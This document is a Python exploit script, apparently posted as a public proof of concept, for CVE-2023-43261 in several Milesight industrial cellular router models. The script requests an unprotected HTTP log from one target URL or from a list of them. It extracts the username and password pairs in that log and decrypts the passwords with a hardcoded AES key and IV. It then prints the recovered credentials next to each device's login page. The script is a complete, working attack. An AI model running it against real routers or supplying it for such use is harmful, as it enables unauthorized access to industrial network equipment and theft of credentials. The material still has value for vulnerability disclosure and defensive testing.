Milesight UR5X / UR32L / UR32 / UR35 / UR41 Credential Leakage

`#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
  
"""  
Title: Credential Leakage Through Unprotected System Logs and Weak Password Encryption  
CVE: CVE-2023-43261  
Script Author: Bipin Jitiya (@win3zz)  
Vendor: Milesight IoT - https://www.milesight-iot.com/ (Formerly Xiamen Ursalink Technology Co., Ltd.)  
Software/Hardware: UR5X, UR32L, UR32, UR35, UR41 and there might be other Industrial Cellular Router could also be vulnerable.  
Script Tested on: Ubuntu 20.04.6 LTS with Python 3.8.10  
Writeup: https://medium.com/@win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf  
"""  
  
import sys  
import requests  
import re  
import warnings  
from Crypto.Cipher import AES # pip install pycryptodome  
from Crypto.Util.Padding import unpad  
import base64  
import time  
  
warnings.filterwarnings("ignore")  
  
KEY = b'1111111111111111'  
IV = b'2222222222222222'  
  
def decrypt_password(password):  
try:  
return unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(password)), AES.block_size).decode('utf-8')  
except ValueError as e:  
display_output(' [-] Error occurred during password decryption: ' + str(e), 'red')  
  
def display_output(message, color):  
colors = {'red': '\033[91m', 'green': '\033[92m', 'blue': '\033[94m', 'yellow': '\033[93m', 'cyan': '\033[96m', 'end': '\033[0m'}  
print(f"{colors[color]}{message}{colors['end']}")  
time.sleep(0.5)  
  
urls = []  
  
if len(sys.argv) == 2:  
urls.append(sys.argv[1])  
  
if len(sys.argv) == 3 and sys.argv[1] == '-f':  
with open(sys.argv[2], 'r') as file:  
urls.extend(file.read().splitlines())  
  
if len(urls) == 0:  
display_output('Please provide a URL or a file with a list of URLs.', 'red')  
display_output('Example: python3 ' + sys.argv[0] + ' https://example.com', 'blue')  
display_output('Example: python3 ' + sys.argv[0] + ' -f urls.txt', 'blue')  
sys.exit()  
  
use_proxy = False  
proxies = {'http': 'http://127.0.0.1:8080/'} if use_proxy else None  
  
for url in urls:  
display_output('[*] Initiating data retrieval for: ' + url + '/lang/log/httpd.log', 'blue')  
response = requests.get(url + '/lang/log/httpd.log', proxies=proxies, verify=False)  
  
if response.status_code == 200:  
display_output('[+] Data retrieval successful for: ' + url + '/lang/log/httpd.log', 'green')  
data = response.text  
credentials = set(re.findall(r'"username":"(.*?)","password":"(.*?)"', data))  
  
num_credentials = len(credentials)  
display_output(f'[+] Found {num_credentials} unique credentials for: ' + url, 'green')  
  
if num_credentials > 0:  
display_output('[+] Login page: ' + url + '/login.html', 'green')  
display_output('[*] Extracting and decrypting credentials for: ' + url, 'blue')  
display_output('[+] Unique Credentials:', 'yellow')  
for i, (username, password) in enumerate(credentials, start=1):  
display_output(f' Credential {i}:', 'cyan')  
decrypted_password = decrypt_password(password.encode('utf-8'))  
display_output(f' - Username: {username}', 'green')  
display_output(f' - Password: {decrypted_password}', 'green')  
else:  
display_output('[-] No credentials found in the retrieved data for: ' + url, 'red')  
else:  
display_output('[-] Data retrieval failed. Please check the URL: ' + url, 'red')  
  
  
`